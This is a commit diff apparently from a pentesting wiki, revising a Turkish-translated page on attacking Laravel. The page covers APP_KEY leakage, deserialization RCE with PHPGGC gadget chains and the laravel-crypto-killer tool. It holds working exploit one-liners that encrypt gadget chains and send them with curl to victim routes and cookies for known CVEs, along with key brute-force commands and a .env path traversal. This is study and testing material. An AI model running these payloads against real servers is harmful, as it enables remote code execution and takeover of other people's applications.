Translated ['src/network-services-pentesting/pentesting-web/laravel.md']

This commit is contained in:
Translator 2025-08-04 22:31:51 +00:00
parent d9b7e2145e
commit 7b8cf22c74

View File

@ -10,7 +10,7 @@ Bu konuda bilgi için burayı okuyun: [https://stitcher.io/blog/unsafe-sql-funct
## APP_KEY & Şifreleme iç yapıları (Laravel \u003e=5.6)
Laravel, arka planda HMAC bütünlüğü ile AES-256-CBC (veya GCM) kullanır (`Illuminate\\Encryption\\Encrypter`).
Laravel, arka planda HMAC bütünlüğü ile birlikte AES-256-CBC (veya GCM) kullanır (`Illuminate\\Encryption\\Encrypter`).
Sonunda **müşteriye gönderilen** ham şifreli metin, **şu şekilde bir JSON nesnesinin Base64'üdür**:
```json
{
@ -20,7 +20,7 @@ Sonunda **müşteriye gönderilen** ham şifreli metin, **şu şekilde bir JSON
"tag" : "" // only used for AEAD ciphers (GCM)
}
```
`encrypt($value, $serialize=true)` varsayılan olarak metni `serialize()` ederken, `decrypt($payload, $unserialize=true)` **şifrelenmiş değeri otomatik olarak `unserialize()` eder**. Bu nedenle **32 baytlık gizli `APP_KEY`'i bilen herhangi bir saldırgan, şifrelenmiş bir PHP serileştirilmiş nesne oluşturabilir ve sihirli yöntemler (`__wakeup`, `__destruct`, …) aracılığıyla RCE elde edebilir**.
`encrypt($value, $serialize=true)` varsayılan olarak metin düzünü `serialize()` ederken, `decrypt($payload, $unserialize=true)` **şifrelenmiş değeri otomatik olarak `unserialize()` edecektir.** Bu nedenle **32 baytlık gizli `APP_KEY`'i bilen herhangi bir saldırgan, şifrelenmiş bir PHP serileştirilmiş nesne oluşturabilir ve sihirli yöntemler (`__wakeup`, `__destruct`, …) aracılığıyla RCE elde edebilir.**
Minimal PoC (framework ≥9.x):
```php
@ -29,7 +29,7 @@ use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
```
Üretilen dizeyi herhangi bir savunmasız `decrypt()` sink'ine (route parametresi, çerez, oturum, ...) enjekte edin.
Üretilen dizeyi herhangi bir savunmasız `decrypt()` sink'ine (route param, cookie, session, …) enjekte edin.
---
@ -58,49 +58,59 @@ The script transparently supports both CBC and GCM payloads and re-generates the
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie``laravel_session` çerezi | Laravel/RCE15 |
Sömürü iş akışı her zaman:
1. `APP_KEY` elde et (varsayılan örnekler, Git sızıntısı, config/.env sızıntısı veya brute-force)
2. **PHPGGC** ile gadget oluştur
3. `laravel_crypto_killer.py encrypt …`
4. Zayıf parametre/çerez aracılığıyla yükü ilet → **RCE**
1. 32 baytlık `APP_KEY`'i elde et veya brute-force ile bul.
2. **PHPGGC** ile bir gadget zinciri oluştur (örneğin `Laravel/RCE13`, `Laravel/RCE9` veya `Laravel/RCE15`).
3. Seri hale getirilmiş gadget'ı **laravel_crypto_killer.py** ve geri kazanılan `APP_KEY` ile şifrele.
4. Şifreli metni zayıf `decrypt()` noktasına (route parametresi, çerez, oturum …) ileterek **RCE**'yi tetikle.
Aşağıda, yukarıda bahsedilen her gerçek dünya CVE için tam saldırı yolunu gösteren kısa tek satırlık örnekler bulunmaktadır:
```bash
# Invoice Ninja ≤5 /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"
# Snipe-IT ≤6 XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login
# Crater cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
```
---
## Çerez brute-force ile toplu APP_KEY keşfi
## Cookie brute-force ile toplu APP_KEY keşfi
Her yeni Laravel yanıtı en az 1 şifreli çerez (`XSRF-TOKEN` ve genellikle `laravel_session`) ayarladığından, **kamusal internet tarayıcıları (Shodan, Censys, …) milyonlarca şifreli metin sızdırır** ki bunlar çevrimdışı olarak saldırıya uğrayabilir.
Her yeni Laravel yanıtı en az 1 şifreli çerez (`XSRF-TOKEN` ve genellikle `laravel_session`) ayarladığı için, **kamusal internet tarayıcıları (Shodan, Censys, …) milyonlarca şifreli metin sızdırıyor** ve bunlar çevrimdışı olarak saldırıya uğrayabilir.
Synacktiv tarafından yayınlanan araştırmanın ana bulguları (2024-2025):
* Veri seti Temmuz 2024 » 580 k token, **%3.99 anahtar kırıldı** (≈23 k)
* Veri seti Mayıs 2025 » 625 k token, **%3.56 anahtar kırıldı**
* >1 000 sunucu hala eski CVE-2018-15133'e karşı savunmasız çünkü tokenlar doğrudan serileştirilmiş verileri içeriyor.
* Büyük anahtar yeniden kullanımı En iyi 10 APP_KEY, ticari Laravel şablonlarıyla birlikte gönderilen sabit kodlu varsayılanlardır (UltimatePOS, Invoice Ninja, XPanel, …).
* Büyük anahtar yeniden kullanımı En iyi 10 APP_KEY, ticari Laravel şablonlarıyla birlikte gelen hard-coded varsayılanlardır (UltimatePOS, Invoice Ninja, XPanel, …).
Özel Go aracı **nounours**, AES-CBC/GCM brute-force verimliliğini ~1.5 milyar deneme/s'ye çıkararak, tam veri seti kırma süresini <2 dakikaya düşürüyor.
---
## Referanslar
* [Laravel: APP_KEY sızıntı analizi](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC PHP Genel Gadget Zincirleri](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 yazımı (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
## Laravel İpuçları
## Laravel Hileleri
### Hata ayıklama modu
Eğer Laravel **hata ayıklama modunda** ise **kod** ve **hassas verilere** erişebileceksiniz.\
Eğer Laravel **hata ayıklama modunda** ise, **kod** ve **hassas verilere** erişebileceksiniz.\
Örneğin `http://127.0.0.1:8000/profiles`:
![](<../../images/image (1046).png>)
Bu genellikle diğer Laravel RCE CVE'lerini sömürmek için gereklidir.
Bu genellikle diğer Laravel RCE CVE'lerini istismar etmek için gereklidir.
### .env
Laravel, çerezleri ve diğer kimlik bilgilerini şifrelemek için kullandığı APP'yi `.env` adlı bir dosyada saklar ve bu dosyaya `/../.env` altında bazı yol geçişleri kullanarak erişilebilir.
Laravel, çerezleri ve diğer kimlik bilgilerini şifrelemek için kullandığı APP'yi `.env` adlı bir dosya içinde saklar ve bu dosyaya `/../.env` altında bazı yol geçişleri kullanarak erişilebilir.
Laravel, bu bilgiyi hata bulunduğunda ve etkinleştirildiğinde hata ayıklama sayfasında da gösterir.
Laravel, bu bilgiyi hata bulunduğunda ve etkinleştirildiğinde hata ayıklama sayfasında da gösterecektir.
Laravel'in gizli APP_KEY'sini kullanarak çerezleri şifreleyebilir ve yeniden şifreleyebilirsiniz:
@ -165,102 +175,24 @@ encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2
```
### Laravel Deserialization RCE
Hassas sürümler: 5.5.40 ve 5.6.x ile 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
Hassas sürümler: 5.5.40 ve 5.6.x 5.6.29'a kadar ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
Deserialization zafiyeti hakkında bilgi bulabilirsiniz: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
Burada deserialization zafiyeti hakkında bilgi bulabilirsiniz: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
Bunu test edebilir ve istismar edebilirsiniz: [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
Bunu [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133) kullanarak test edebilir ve istismar edebilirsiniz.\
Ya da metasploit ile de istismar edebilirsiniz: `use unix/http/laravel_token_unserialize_exec`
### CVE-2021-3129
Başka bir deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
### Laravel SQLInjection
Bunun hakkında bilgi okuyun: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
### Laravel SQLInjection
Bunun hakkında bilgi okuyun: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
---
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
Laravel, arka planda HMAC bütünlüğü ile AES-256-CBC (veya GCM) kullanır (`Illuminate\\Encryption\\Encrypter`).
Sonunda **müşteriye gönderilen** ham şifreli metin, **şu şekilde bir JSON nesnesinin Base64'üdür**:
```json
{
"iv" : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
"tag" : "" // only used for AEAD ciphers (GCM)
}
```
`encrypt($value, $serialize=true)` varsayılan olarak metni `serialize()` ederken, `decrypt($payload, $unserialize=true)` **şifrelenmiş değeri otomatik olarak `unserialize()` eder**. Bu nedenle **32 baytlık gizli `APP_KEY`'i bilen herhangi bir saldırgan, şifrelenmiş bir PHP serileştirilmiş nesne oluşturabilir ve sihirli yöntemler (`__wakeup`, `__destruct`, …) aracılığıyla RCE elde edebilir**.
Minimal PoC (framework ≥9.x):
```php
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
```
Üretilen dizeyi herhangi bir savunmasız `decrypt()` sink'ine (route parametresi, çerez, oturum, ...) enjekte edin.
---
## laravel-crypto-killer 🧨
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) tüm süreci otomatikleştirir ve kullanışlı bir **bruteforce** modu ekler:
```bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
```
The script transparently supports both CBC and GCM payloads and re-generates the HMAC/tag field.
---
## Gerçek dünya zayıf desenleri
| Proje | Zayıf nokta | Gadget zinciri |
|-------|-------------|----------------|
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}``decrypt($hash)` | Laravel/RCE13 |
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` çerezi `Passport::withCookieSerialization()` etkin olduğunda | Laravel/RCE9 |
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie``laravel_session` çerezi | Laravel/RCE15 |
Sömürü iş akışı her zaman:
1. `APP_KEY` elde et (varsayılan örnekler, Git sızıntısı, config/.env sızıntısı veya brute-force)
2. **PHPGGC** ile gadget oluştur
3. `laravel_crypto_killer.py encrypt …`
4. Zayıf parametre/çerez aracılığıyla yükü ilet → **RCE**
---
## Çerez brute-force ile toplu APP_KEY keşfi
Her yeni Laravel yanıtı en az 1 şifreli çerez (`XSRF-TOKEN` ve genellikle `laravel_session`) ayarladığından, **kamusal internet tarayıcıları (Shodan, Censys, …) milyonlarca şifreli metin sızdırır** ve bunlar çevrimdışı olarak saldırıya uğrayabilir.
Synacktiv tarafından yayınlanan araştırmanın ana bulguları (2024-2025):
* Veri seti Temmuz 2024 » 580 k token, **%3.99 anahtar kırıldı** (≈23 k)
* Veri seti Mayıs 2025 » 625 k token, **%3.56 anahtar kırıldı**
* >1 000 sunucu hala eski CVE-2018-15133'e karşı zayıf çünkü tokenlar doğrudan serileştirilmiş verileri içeriyor.
* Büyük anahtar yeniden kullanımı En iyi 10 APP_KEY, ticari Laravel şablonlarıyla birlikte gelen hard-coded varsayılanlardır (UltimatePOS, Invoice Ninja, XPanel, …).
Özel Go aracı **nounours**, AES-CBC/GCM brute-force verimliliğini ~1.5 milyar deneme/s'ye çıkararak, tam veri seti kırma süresini <2 dakikaya düşürüyor.
---
## Referanslar
* [Laravel: APP_KEY sızıntı analizi](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
## References
* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [Laravel : analyse de fuite dAPP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC PHP Genel Gadget Zincirleri](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 yazısı (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
* [PHPGGC PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
{{#include ../../banners/hacktricks-training.md}}